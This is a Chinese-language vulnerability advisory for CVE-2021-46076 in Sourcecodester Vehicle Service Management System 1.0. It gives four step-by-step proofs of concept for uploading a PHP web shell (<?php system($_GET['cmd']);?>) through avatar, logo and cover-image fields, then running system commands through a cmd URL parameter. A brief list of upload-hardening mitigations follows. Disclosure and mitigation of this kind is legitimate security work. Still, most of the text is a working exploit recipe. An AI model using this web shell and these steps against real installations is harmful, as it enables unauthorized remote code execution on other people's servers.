CVE-2021-46076
漏洞标题:车辆服务管理系统 - '多处' 文件上传导致代码执行
CVE:CVE-2021-46076
CVSS:8.8 高危
参考文献:
描述:
Sourcecodester Vehicle Service Management System 1.0 存在文件上传漏洞。攻击者可以在多个端点上传恶意 php 文件,从而导致代码执行。
1. 车辆服务管理系统 - 'MyAccount' (/admin/?page=user)
利用步骤:
- 登录管理后台 http://localhost/vehicle_service/admin
- 导航至 My Account 部分 http://localhost/vehicle_service/admin/?page=user
Payload:
<?php system($_GET['cmd']);?>
- 将上述 php 代码保存为文件,例如:Cmd.php
- 在 My Account 部分填写所有必填信息,并在头像 (Avatar) 处浏览并选择该 php 文件。
- 点击更新按钮。
- 在新标签页中打开头像图片。
- 在 URL 中添加 cmd 参数并执行命令。
- 最终 URL:http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- 执行所有系统命令,例如:id、whoami、pwd 等。
2. 车辆服务管理系统 - '用户列表' (/admin/?page=user/manage_user)
利用步骤:
- 登录管理后台 http://localhost/vehicle_service/admin
- 导航至用户列表部分,点击创建新用户按钮。
Payload:
<?php system($_GET['cmd']);?>
- 将上述 php 代码保存为文件,例如:Cmd.php
- 在创建新用户页面填写所有必填信息,并在头像 (Avatar) 处浏览并选择该 php 文件。
- 点击保存按钮。
- 在新标签页中打开头像图片。
- 在 URL 中添加 cmd 参数并执行命令。
- 最终 URL:http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- 执行所有系统命令,例如:id、whoami、pwd 等。
3. 车辆服务管理系统 - '设置 - 系统标志' (/admin/?page=system_info)
利用步骤:
- 登录管理后台 http://localhost/vehicle_service/admin
- 导航至设置部分 http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- 将上述 php 代码保存为文件,例如:Cmd.php
- 在设置部分填写所有必填信息,并在系统标志 (System Logo) 处浏览并选择该 php 文件。
- 点击更新按钮。
- 在新标签页中打开系统标志图片。
- 在 URL 中添加 cmd 参数并执行命令。
- 最终 URL:http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- 执行所有系统命令,例如:id、whoami、pwd 等。
4. 车辆服务管理系统 - '设置 - 网站封面' (/admin/?page=system_info)
利用步骤:
- 登录管理后台 http://localhost/vehicle_service/admin
- 导航至设置部分 http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- 将上述 php 代码保存为文件,例如:Cmd.php
- 在设置部分填写所有必填信息,并在网站封面 (Website Cover) 处浏览并选择该 php 文件。
- 点击更新按钮。
- 在新标签页中打开网站封面图片。
- 在 URL 中添加 cmd 参数并执行命令。
- 最终 URL:http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- 执行所有系统命令,例如:id、whoami、pwd 等。
影响:
攻击者能够在多个端点上传恶意 php 文件,从而导致代码执行。
缓解措施:
建议实施以下措施:
- 切勿直接接受文件名及其扩展名,而应使用白名单过滤器。
- 如果不需要 Unicode 字符,强烈建议仅允许字母数字字符以及一个点作为文件名和扩展名的输入。
- 限制文件大小到最大值,以防止拒绝服务攻击。
- 上传目录不应具有任何“执行”权限。
- 不要仅依赖客户端验证。